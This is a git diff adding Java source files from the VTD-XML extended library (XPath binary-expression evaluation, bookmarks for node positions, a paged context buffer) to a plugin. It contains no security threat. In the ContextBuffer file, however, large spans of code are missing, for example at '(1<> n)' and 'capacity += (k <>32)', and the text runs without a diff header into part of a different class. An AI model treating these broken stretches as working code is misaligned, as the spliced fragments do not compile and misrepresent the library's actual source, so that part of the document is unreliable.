b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/BinaryExpr.java @@ -0,0 +1,585 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +import com.ximpleware.extended.xpath.Expr; +/** + * The parser.java uses this class to contruct the corresponding + * AST for XPath expression when there are two operands and one + * operator + * + */ + + + + + +public class BinaryExpr extends Expr { + public final static int ADD = 0; + public final static int SUB = 1; + public final static int MULT = 2; + public final static int DIV = 3; + public final static int MOD = 4; + public final static int OR = 5; + public final static int AND = 6; + public final static int EQ = 7; + public final static int NE = 8; + public final static int LE = 9; + public final static int GE = 10; + public final static int LT = 11; + public final static int GT = 12; + //public final static int UNION = 13; + + public final static int BUF_SZ_EXP = 7; + protected int op; + boolean isNumerical; + boolean isBoolean; + + protected Expr left; + protected Expr right; + + protected FastIntBuffer fib1; + /** + * constructor + * @param l + * @param o + * @param r + */ + public BinaryExpr ( Expr l, int o, Expr r) { + op = o; + left = l; + right = r; + fib1 = null; + switch(op){ + case ADD: + case SUB: + case MULT: + case DIV: + case MOD: isNumerical = true; isBoolean = false; break; + case OR : + case AND: + case EQ: + case NE: + case LE: + case GE: + case LT: + case GT: isNumerical = false; isBoolean = true; + default: + } + } + public String toString(){ + String os; + switch(op){ + case ADD: os = " + "; break; + case SUB: os = " - "; break; + case MULT: os = " * "; break; + case DIV: os = " / "; break; + case MOD: os = " mod "; break; + case OR : os = " or ";break; + case AND: os = " and "; break; + case EQ: os = " = "; break; + case NE: os = " != "; break; + case LE: os = " <= "; break; + case GE: os = " >= "; break; + case LT: os = " < "; break; + default: os = " > "; break; + + } + + return "("+ left + os + right+")"; + } + + + public boolean evalBoolean(VTDNavHuge vn){ + /*int i,i1=0, s1, s2; + int stackSize; + Expr e1, e2; + int t; + boolean b = false;*/ + switch(op){ + case OR: return left.evalBoolean(vn) || right.evalBoolean(vn); + case AND:return left.evalBoolean(vn) && right.evalBoolean(vn); + case EQ: + case NE: + case LE: + case GE: + case LT: + case GT: return computeComp(op,vn); + default: double dval = evalNumber(vn); + if (dval ==-0.0 || dval ==+0.0 || Double.isNaN(dval)) + return false; + return true; + } + } + + public double evalNumber(VTDNavHuge vn){ + switch(op){ + case ADD: return left.evalNumber(vn) + right.evalNumber(vn); + case SUB: return left.evalNumber(vn) - right.evalNumber(vn); + case MULT:return left.evalNumber(vn) * right.evalNumber(vn); + case DIV: return left.evalNumber(vn) / right.evalNumber(vn); + case MOD: return left.evalNumber(vn) % right.evalNumber(vn); + default : if (evalBoolean(vn) == true) + return 1; + return 0; + + } + } + + public int evalNodeSet(VTDNavHuge vn) throws XPathEvalExceptionHuge { + throw new XPathEvalExceptionHuge("BinaryExpr can't eval to a node set!"); + } + + public String evalString(VTDNavHuge vn){ + if(isNumerical()){ + + double d = evalNumber(vn); + if (d==(long)d){ + return ""+(long)d; + } + else + return ""+d; + } else { + boolean b = evalBoolean(vn); + if (b) + return "true"; + else + return "false"; + } + } + + public void reset(VTDNavHuge vn){left.reset(vn); right.reset(vn);}; + + public boolean isNodeSet(){ + return false; + } + + public boolean isNumerical(){ + return isNumerical; + } + + public boolean isString(){ + return false; + } + + public boolean isBoolean(){ + return isBoolean; + } + // to support computation of context size + // needs to add + // public boolean needContextSize(); + // public boolean SetContextSize(int contextSize); + //If both objects to be compared are node-sets, then + //the comparison will be true if and only if there is + //a node in the first node-set and a node in the second + //node-set such that the result of performing the comparison + //on the string-values of the two nodes is true. If one + //object to be compared is a node-set and the other is a + //number, then the comparison will be true if and only if + //there is a node in the node-set such that the result of + //performing the comparison on the number to be compared and on + //the result of converting the string-value of that node to a + //number using the number function is true. If one object to be + //compared is a node-set and the other is a string, then the + //comparison will be true if and only if there is a node in + //the node-set such that the result of performing the comparison + //on the string-value of the node and the other string is true. + //If one object to be compared is a node-set and the other is a boolean, + //then the comparison will be true if and only if the result of + //performing the comparison on the boolean and on the result of + //converting the node-set to a boolean using the boolean function is true. + + //When neither object to be compared is a node-set and the operator + //is = or !=, then the objects are compared by converting them to a + //common type as follows and then comparing them. If at least one object + //to be compared is a boolean, then each object to be compared is + //converted to a boolean as if by applying the boolean function. + //Otherwise, if at least one object to be compared is a number, then + //each object to be compared is converted to a number as if by applying + //the number function. Otherwise, both objects to be compared are + //converted to strings as if by applying the string function. The = + //comparison will be true if and only if the objects are equal; the + //!= comparison will be true if and only if the objects are not equal. + //Numbers are compared for equality according to IEEE 754 [IEEE 754]. Two + //booleans are equal if either both are true or both are false. Two strings + //are equal if and only if they consist of the same sequence of UCS characters. + + + private boolean computeComp(int op, VTDNavHuge vn){ + //int i, t, i1 = 0, stackSize, s1, s2; + String st1, st2; + if (left.isNodeSet() && right.isNodeSet()) { + return compNodeSetNodeSet(left, right, vn, op); + } else { + if (left.isNumerical() && right.isNodeSet()){ + return compNumericalNodeSet(left, right, vn, op); + } + if (left.isNodeSet() && right.isNumerical()) { + return compNodeSetNumerical(left, right, vn, op); + } + if (left.isString() && right.isNodeSet()){ + return compStringNodeSet(left, right, vn, op); + } + if (left.isNodeSet() && right.isString()) { + return compNodeSetString(left, right, vn, op); + } + } + if (op==EQ || op==NE){ + if (left.isBoolean() || right.isBoolean()) { + if (op == EQ) + return left.evalBoolean(vn) == right.evalBoolean(vn); + else + return left.evalBoolean(vn) != right.evalBoolean(vn); + } + + if (left.isNumerical() || right.isNumerical()) { + if (op == EQ) + return left.evalNumber(vn) == right.evalNumber(vn); + else + return left.evalNumber(vn) != right.evalNumber(vn); + } + + st1 = left.evalString(vn); + st2 = right.evalString(vn); + /*if (st1 == null || st2 == null) + if (op == EQ) + return false; + else + return true;*/ + + return (op == EQ) ? (st1.equals(st2)) : (!st1.equals(st2)); + } + return compNumbers(left.evalNumber(vn),right.evalNumber(vn),op); + + } + + public boolean requireContextSize(){ + return left.requireContextSize() || right.requireContextSize(); + } + + public void setContextSize(int size){ + left.setContextSize(size); + right.setContextSize(size); + } + public void setPosition(int pos){ + left.setPosition(pos); + right.setPosition(pos); + } + + // this function computes the case where one expr is a node set, the other is a string + + private boolean compNodeSetString(Expr left, Expr right, VTDNavHuge vn,int op){ + int i, i1 = 0, stackSize; + String s; + + try { + s = right.evalString(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = left.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + // if (i1==-1 && s.length()==0) + //return true; + if (i1 != -1) { + boolean b = compareVString1(i1,vn,s,op); + if (b){ + left.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return b; + } + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + left.reset(vn); + return false; //compareEmptyNodeSet(op, s); + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + + private boolean compareEmptyNodeSet(int op, String s){ + if (op == NE ){ + if (s.length()==0) { + return false; + } else + return true; + }else{ + if (s.length()==0) { + return true; + } else + return false; + } + } + private boolean compStringNodeSet(Expr left, Expr right, VTDNavHuge vn,int op){ + int i, i1 = 0, stackSize; + String s; + try { + s = left.evalString(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = right.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1 != -1){ + boolean b = compareVString2(i1,vn,s,op); + if (b){ + right.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return b; + } + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + return false;//compareEmptyNodeSet(op, s); + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + + private boolean compNumbers(double d1, double d2, int op) { + switch (op) { + case LE: + return d1 <= d2; + case GE: + return d1 >= d2; + case LT: + return d1 < d2; + case GT: + return d1 > d2; + } + return false; + } + // this function computes the boolean when one expression is node set + // the other is numerical + private boolean compNumericalNodeSet(Expr left, Expr right, VTDNavHuge vn, int op ){ + int i, i1 = 0, stackSize; + double d; + try { + d = left.evalNumber(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = right.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1!=-1 && compareVNumber1(i1,vn,d,op)){ + right.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return true; + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + return false; + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + private boolean compNodeSetNumerical(Expr left, Expr right, VTDNavHuge vn, int op ){ + int i,i1 = 0, stackSize; + double d; + try { + d = right.evalNumber(vn); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = left.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1!=-1 && compareVNumber2(i1,vn,d,op)){ + left.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + return true; + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + left.reset(vn); + return false; + } catch (Exception e) { + throw new RuntimeException("Undefined behavior"); + } + } + + private int getStringVal(VTDNavHuge vn,int i){ + int i1,t = vn.getTokenType(i); + if (t == VTDNavHuge.TOKEN_STARTING_TAG){ + i1 = vn.getText(); + return i1; + } + else if (t == VTDNavHuge.TOKEN_ATTR_NAME + || t == VTDNavHuge.TOKEN_ATTR_NS) + return i+1; + else + return i; + } + + private boolean compareVNumber1(int k, VTDNavHuge vn, double d, int op) + throws NavExceptionHuge { + double d1 = vn.parseDouble(k); + switch (op){ + case EQ: + return d == d1; + case NE: + return d != d1; + case GE: + return d >= d1; + case LE: + return d <= d1; + case GT: + return d > d1; + default: + return d < d1; + } + } + + private boolean compareVString1(int k, VTDNavHuge vn, String s, int op) + throws NavExceptionHuge { + int i = vn.compareTokenString(k, s); + switch (i) { + case -1: + if (op == NE || op == LT || op == LE) { + return true; + } + break; + case 0: + if (op == EQ || op == LE || op == GE) { + return true; + } + break; + case 1: + if (op == NE || op == GE || op == GT) { + return true; + } + } + return false; + } + private boolean compareVString2(int k, VTDNavHuge vn, String s, int op) + throws NavExceptionHuge { + int i = vn.compareTokenString(k, s); + switch(i){ + case -1: + if (op== NE || op == GT || op == GE){ + return true; + } + break; + case 0: + if (op==EQ || op == LE || op == GE ){ + return true; + } + break; + case 1: + if (op == NE || op==LE || op == LT ){ + return true; + } + } + return false; + } + + private boolean compareVNumber2(int k, VTDNavHuge vn, double d, int op) + throws NavExceptionHuge { + double d1 = vn.parseDouble(k); + switch (op){ + case EQ: + return d1 == d; + case NE: + return d1 != d; + case GE: + return d1 >= d; + case LE: + return d1 <= d; + case GT: + return d1 > d; + default: + return d1 < d; + } + } + private boolean compareVV(int k, VTDNavHuge vn, int j,int op) + throws NavExceptionHuge { + int i = vn.compareTokens(k, vn, j); + switch(i){ + case 1: + if (op == NE || op==GE || op == GT ){ + return true; + } + break; + case 0: + if (op==EQ || op == LE || op == GE ){ + return true; + } + break; + case -1: + if (op== NE || op == LT || op == LE){ + return true; + } + } + return false; + } + + // this method compare node set with another node set + private boolean compNodeSetNodeSet(Expr left, Expr right, VTDNavHuge vn, int op){ + int i,i1,stackSize,s1; + try { + if (fib1 == null) + fib1 = new FastIntBuffer(BUF_SZ_EXP); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = left.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1 != -1) + fib1.append(i1); + } + left.reset(vn); + vn.contextStack2.size = stackSize; + vn.pop2(); + vn.push2(); + stackSize = vn.contextStack2.size; + while ((i = right.evalNodeSet(vn)) != -1) { + i1 = getStringVal(vn,i); + if (i1 != -1){ + s1 = fib1.size(); + for (int k = 0; k < s1; k++) { + boolean b = compareVV(fib1.intAt(k),vn,i1,op); + if (b){ + fib1.clear(); + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + return true; + } + } + } + } + vn.contextStack2.size = stackSize; + vn.pop2(); + right.reset(vn); + fib1.clear(); + return false; + } catch (Exception e) { + fib1.clear(); + throw new RuntimeException("Undefined behavior"); + } + } + public int adjust(int n){ + int i = left.adjust(n); + int j = right.adjust(n); + if (i>j)return i; else return j; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/BookMarkHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/BookMarkHuge.java new file mode 100644 index 0000000..38fbcb7 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/BookMarkHuge.java @@ -0,0 +1,262 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +/* BookMarkHuge is based on (and inspired by) the concept and + * implementation contributed by Rodrigo Cunha. It corresponds + * to a single node position of VTDNavHuge's cursor. It is adapted to + * supported extended VTD (256 GB file size) + * + * setCursorPosition(VTDNavHuge vn) sets the node position of vn. + * setCursorPosition() sets the node position of the BookMark object's embedded + * VTDNavHuge object + * + * recordCursorPosition(VTDNavHuge vn) records the node position of the VTDNavHuge + * Object. + * + * recordCursorPosition() records the node position of the BookMarkHuge object's + * embedded VTDNavHuge object + * + * BookMarkHuge(VTDNavHuge vn) implicitly sets the node position for + * the created BookMark instance. + */ +package com.ximpleware.extended; +/** + * BookmarkHue is a single instance of a node position. + * You can save the cursor's position into a BookMarkHuge instance + * You can also point the cursor to the node position of previously + * saved BookMarkHuge instance. + * + */ +public class BookMarkHuge { + VTDNavHuge vn1; // the reference to the corresponding VTDNav object + int ba[]; + /** + * Constructor for BookMarkHuge + * Take no argument + * + */ + public BookMarkHuge(){ + ba = null; + vn1 = null; + } + + /** + * separate a bookMark object apart from its embedded + * VTDNavHuge instance + * + */ + public void unbind(){ + vn1 = null; + } + + /** + * bind a BookMarkHuge object to a VTDNavHuge object + * the cursor position is set to an invalid state + * @param vn + * + */ + public void bind(VTDNavHuge vn){ + if (vn==null) + throw new IllegalArgumentException("vn can't be null"); + vn1 = vn; + if (ba == null || vn.nestingLevel+8 != ba.length) + ba = new int[vn.nestingLevel + 8]; + ba[0]= -2 ; // this would never happen in a VTDNav obj's context + } + + /** + * This method returns the embedded VTDNavHuge Object + * @return VTDNavHuge + * + */ + public VTDNavHuge getNav(){ + return vn1; + } + + /** + * BookMarkHuge constructor with an instance of vn + * as input + * @param vn + */ + public BookMarkHuge(VTDNavHuge vn){ + bind(vn); + recordCursorPosition(vn); + } + + /** + * set cursor position + * This method can only set the cursor position + * of an VTDNavHuge object identical to its internal copy + * @param vn + * @return + * + */ + public boolean setCursorPosition(VTDNavHuge vn){ + if (vn1 != vn || ba == null || ba[0] == -2) + return false; + for (int i = 0; i < vn.nestingLevel; i++) { + vn.context[i] = ba[i]; + } + + vn.l1index = ba[vn.nestingLevel]; + vn.l2index = ba[vn.nestingLevel + 1]; + vn.l3index = ba[vn.nestingLevel + 2]; + vn.l2lower = ba[vn.nestingLevel + 3]; + vn.l2upper = ba[vn.nestingLevel + 4]; + vn.l3lower = ba[vn.nestingLevel + 5]; + vn.l3upper = ba[vn.nestingLevel + 6]; + if (ba[vn.nestingLevel+7] < 0){ + vn.atTerminal = true; + } else + vn.atTerminal = false; + + vn.LN = ba[vn.nestingLevel+7] & 0x7fffffff; + return true; + } + + /** + * Set the cursor position of VTDNavHuge object corresponding to the internal reference + * position of the embedded VTDNavHuge object + * @return + * + */ + public boolean setCursorPosition(){ + return setCursorPosition(vn1); + } + /** + * Record the cursor position + * This method is implemented to be lenient on loading in + * that it can load nodes from any VTDNavHuge object + * if vn is null, return false + * + * @param vn + * @return + * + */ + public boolean recordCursorPosition(VTDNavHuge vn){ + if (vn == null) + return false; + if (vn== vn1){ + + }else { + bind(vn); + } + for (int i = 0; i < vn.nestingLevel; i++) { + ba[i] = vn1.context[i]; + } + + ba[vn.nestingLevel]= vn.l1index ; + ba[vn.nestingLevel + 1]= vn.l2index ; + ba[vn.nestingLevel + 2]= vn.l3index ; + ba[vn.nestingLevel + 3]= vn.l2lower ; + ba[vn.nestingLevel + 4]= vn.l2upper ; + ba[vn.nestingLevel + 5]= vn.l3lower ; + ba[vn.nestingLevel + 6]= vn.l3upper ; + //ba[vn.nestingLevel + 7]=(vn.atTerminal == true)?1:0; + ba[vn.nestingLevel + 7]= + (vn.atTerminal == true)? + (vn.LN | 0x80000000) : vn.LN ; + return true; + } + /** + * Record cursor position of the VTDNavHuge object as embedded in the + * bookmark + * + * @return + * + */ + public boolean recordCursorPosition(){ + return recordCursorPosition(vn1); + } + + /** + * Compare the bookmarks to ensure they represent the same + * node in the same VTDNavHuge instance + * @param bm2 + * @return + */ + public final boolean deepEquals(BookMarkHuge bm2) { + if (bm2.vn1 == this.vn1){ + if (bm2.ba[bm2.ba[0]]==this.ba[this.ba[0]]){ + if (this.ba[this.vn1.nestingLevel+7] < 0){ + if (this.ba[this.vn1.nestingLevel+7] + != bm2.ba[this.vn1.nestingLevel+7]) + return false; + } + return true; + } + } + return false; + } + + /** + * Compare the bookmarks to ensure they represent the same + * node in the same VTDNavHuge instance + * @param bm2 + * @return + */ + public final boolean equals(BookMarkHuge bm2) { + if (this == bm2) + return true; + return deepEquals(bm2); + } + + /** + * Compare two bookmarks to ensure they represent the same + * node in the same VTDNavHuge instance + */ + public final boolean equals(Object obj) { + if (this == obj) + return true; + if (!(obj instanceof BookMarkHuge)) + return false; + return deepEquals((BookMarkHuge) obj); + } + + /** + * Returns the hash code which is a unique integer for every node + */ + public final int hashCode(){ + if (ba == null || vn1==null || ba[0]==-2) + return -2; + if (vn1.atTerminal) + return vn1.LN; + if (ba[0]==1) + return vn1.rootIndex; + return ba[ba[0]]; + } + + /** + * Compare the node positions of two bookMarkHuge objects + * @param bm1 + * @return + */ + public boolean compare(BookMarkHuge bm1){ + + /*for (int i = 0; i < vn1.nestingLevel; i++) { + ba[i] = bm1.ba[i]; + } + if (vn1.getCurrentDepth()>)*/ + for (int i = 0; i < vn1.nestingLevel+6; i++) { + if(ba[i] != bm1.ba[i]) + return false; + } + + return true; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/ContextBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/ContextBuffer.java new file mode 100644 index 0000000..a49d484 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/ContextBuffer.java @@ -0,0 +1,364 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; + +//import java.lang.NullPointerException; +import java.lang.IllegalArgumentException; +import java.util.ArrayList; +//import com.ximpleware.NavException; + +/** + * This class is used as the global stack in VTDNavHuge class. + * The VTDNavHuge object instantiates a context Buffer object, then everytime + * load/store is called, current context information gets pushed/popped to/from the + * ContextBuffer. + * Creation date: (11/16/03 4:30:45 PM) + */ +public class ContextBuffer{ + private java.util.ArrayList bufferArrayList; + private int capacity; + private int pageSize; + protected int size; + private int incSize; + private int n; // for fast divide + private int r; // mask for remainder +/** + * ContextBuffer constructor comment. + * inc is the # of int to be pushed/pop to/from the underlying storage + * @param i int + */ +public ContextBuffer(int i) { + super(); + pageSize =1024; + n = 10; //1<<10 == 1024 + r = pageSize - 1; + incSize = i; + if (incSize<0) + throw new IllegalArgumentException(); + bufferArrayList = new ArrayList(); +} +/** + * ContextBuffer constructor comment. + * incSize is the # of int to be pushed/pop to/from the underlying storage + * Creation date: (11/16/03 8:02:21 PM) + * @param p int (pageSize equals (1<> n); + int last_index = ((startingOffset + len) >>n); + if (((startingOffset + len)& r)== 0) { + last_index--; + } + + if (first_index == last_index) { + // to see if there is a need to go across buffer boundry + System.arraycopy( + (int[]) (bufferArrayList.get(first_index)), + //startingOffset % pageSize, + startingOffset & r, + output, + 0, + len); + } else { + int int_array_offset = 0; + for (int i = first_index; i <= last_index; i++) { + int[] currentChunk = (int[]) bufferArrayList.get(i); + if (i == first_index) // first section + { + System.arraycopy( + currentChunk, + //startingOffset % pageSize + startingOffset & r, + output, + 0, + // pageSize - (startingOffset % pageSize)); + pageSize - (startingOffset & r)); + //int_array_offset += pageSize - (startingOffset) % pageSize; + int_array_offset += pageSize - (startingOffset &r); + } else if (i == last_index) // last sections + { + System.arraycopy( + currentChunk, + 0, + output, + int_array_offset, + len - int_array_offset); + + } else { + System.arraycopy(currentChunk, 0, output, int_array_offset, pageSize); + int_array_offset += pageSize; + } + } + } + + size -= incSize; + return true; +} +/** + * Test the load and store functions. + * Creation date: (11/19/03 3:51:17 PM) + * @param args java.lang.String[] + */ +public static void main(String[] args) { + try { + int[] ia = new int[18]; + + ContextBuffer cb = new ContextBuffer(18); + for (int i = 0; i < 57; i++) { + for (int j = 0; j < 17; j++) { + ia[j] = i; + } + ia[17] = -1; + cb.store(ia); + } + //cb.store(ia); + for (int i = 56; i >= 0; i--) { + cb.load(ia); + System.out.println(""+ia[0]); + if (ia[17]!=-1) + System.out.println("store error "+i+ " "+17+" "+ia[17]); + for (int j = 16; j >= 0; j--) { + if (ia[j] != i) { + System.out.println(" store error " + i + " " + j + " " + ia[j]); + } + } + } + System.out.println("cb.clear()"); + cb.clear(); + + for (int i = 0; i < 157; i++) { + for (int j = 0; j < 18; j++) { + ia[j] = i; + } + cb.store(ia); + } + //cb.store(ia); + for (int i = 156; i >= 0; i--) { + cb.load(ia); + System.out.println(""+ia[0]); + for (int j = 17; j >= 0; j--) { + if (ia[j] != i) { + System.out.println(" store error " + i + " " + j + " " + ia[j]); + } + } + } + cb.clear(); + for (int i = 0; i < 257; i++) { + for (int j = 0; j < 18; j++) { + ia[j] = i; + } + cb.store(ia); + } + //cb.store(ia); + for (int i = 256; i >= 0; i--) { + cb.load(ia); + System.out.println(""+ia[0]); + for (int j = 17; j >= 0; j--) { + if (ia[j] != i) { + System.out.println(" store error " + i + " " + j + " " + ia[j]); + } + } + } + + System.out.println("success"); + + System.out.println("test fastIntBuffer"); + ia = new int[1000000]; + for (int k=0;k<1000000;k++){ + ia[k]= k; + } + FastIntBuffer fib = new FastIntBuffer(13); + //for(int i=0;i<10;i++){ + fib.append(ia); + //} + fib.clear(); + fib.append(ia); + //for(int i=0;i<10;i++){ + // fib.append(ia); + //} + int ib[] = fib.toIntArray(); + + for (int i = 0;i<1000000;i++){ + if (ib[i]!=i){ + System.out.println("error occurred at "+i ); + //break; + } + } + System.out.println("test fastLongBuffer"); + long[] la = new long[1000000]; + for (int k=0;k<1000000;k++){ + la[k]= k; + } + FastLongBuffer flb = new FastLongBuffer(14); + flb.append(la); + flb.clear(); + flb.append(la); + long lb[] = flb.toLongArray(); + for (int i = 0;i<1000000;i++){ + if (lb[i]!=i){ + System.out.println("error occurred at "+i); + } + } + System.out.println("success"); + } catch (Exception e) { + e.printStackTrace(); + System.out.println(" exception caught "); + } +} + +/** + * Set the context buffer size to zero + * capacity untouched + */ +public void clear(){ + size = 0; +} +/** + * Push the array content on to the stack. + * Creation date: (11/17/03 1:06:43 AM) + * @param input int[] + */ +public void store(int[] input){ + + if (input == null) { + throw new IllegalArgumentException("context buffer can't store a null pointer"); + } + + //if (input.length != incSize) { + // throw a derivative of runtime exceptions + // throw new NavException("Store: Input size doesn't match increment size"); + //} + + // no additional buffer space needed + int lastBufferIndex; + int[] lastBuffer; + + if (bufferArrayList.size() == 0) { + lastBuffer = new int[pageSize]; + bufferArrayList.add(lastBuffer); + lastBufferIndex = 0; + capacity = pageSize; + } else { + lastBufferIndex = Math.min((size>>n),//+(((size&r)==0)? 0:1), + bufferArrayList.size() - 1); + lastBuffer = (int[]) bufferArrayList.get(lastBufferIndex); + } + + + if ((this.size + input.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + + //System.arraycopy(input, 0, lastBuffer, size % pageSize, input.length); + if (this.size + input.length< ((lastBufferIndex+1)<> n; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(input,offset, + (int[]) bufferArrayList.get(lastBufferIndex+z), 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(input,offset,(int[]) bufferArrayList.get(lastBufferIndex+z), 0, l & r); + } + size += input.length; + return; + //System.out.println(" --+++ buffer size "+size); + //size += input.length; + } else // new buffers needed + { + + // compute the number of additional buffers needed + int k = + //((int) ((input.length + size) / pageSize)) + ((input.length + size) >>n) + //+ (((input.length + size) % pageSize) > 0 ? 1 : 0) + + (((input.length + size) & r ) > 0 ? 1 : 0) + - (capacity >> n); + // create these buffers + // add to bufferArrayList + //System.arraycopy(input, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(input, 0, lastBuffer, size & r, capacity - size); + + for (int i = 0; i < k; i++) { + int[] newBuffer = new int[pageSize]; + if (i < k - 1) { + // full copy + System.arraycopy(input, pageSize * i + capacity - size, newBuffer, 0, pageSize); + } else { + // last page + System.arraycopy( + input, + pageSize * i + capacity - size, + newBuffer, + 0, + (input.length + size) - pageSize * i - capacity); + } + bufferArrayList.add(newBuffer); + } + // update length + size += input.length; + // update capacity + capacity += (k <>32); + int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + Transcoder.transcodeAndFill(xml,ba,os,len,vn.encoding,dest_encoding); + return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + int outPosition = 0; + // transcode and fill the bytes + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp = (stLen + 1) << 1; + break; + default: + temp = stLen + 1; + } + // transcode starting length + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, os, temp, vn.encoding, dest_encoding); + + //System.arraycopy(xml, os, ba, 0, temp); + + //namespace compensation + os1 += temp; + + int tos = 0, tlen = 0; + for (int i = 0; i < fib.size(); i++) { + //System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws, 0, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,0,2, vn.encoding, dest_encoding); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i)) << 1; + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff) << 1; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml,ba,tos,tlen, vn.encoding, dest_encoding); + os1 += tlen; + // write a 0 and = + //System.arraycopy(ws, 2, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,2,2, vn.encoding, dest_encoding); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i) + 1) - 1) << 1; + tlen = ((vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2) << 1; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws, 1, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws, ba, 1, 2, vn.encoding, dest_encoding); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i)) << 1; + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff) << 1; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + // write a = and 0 + //System.arraycopy(ws, 3, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,3,2, vn.encoding, dest_encoding); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i) + 1) - 1) << 1; + tlen = ((vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2) << 1; + // System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,1,1, vn.encoding, dest_encoding); + os1++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + // 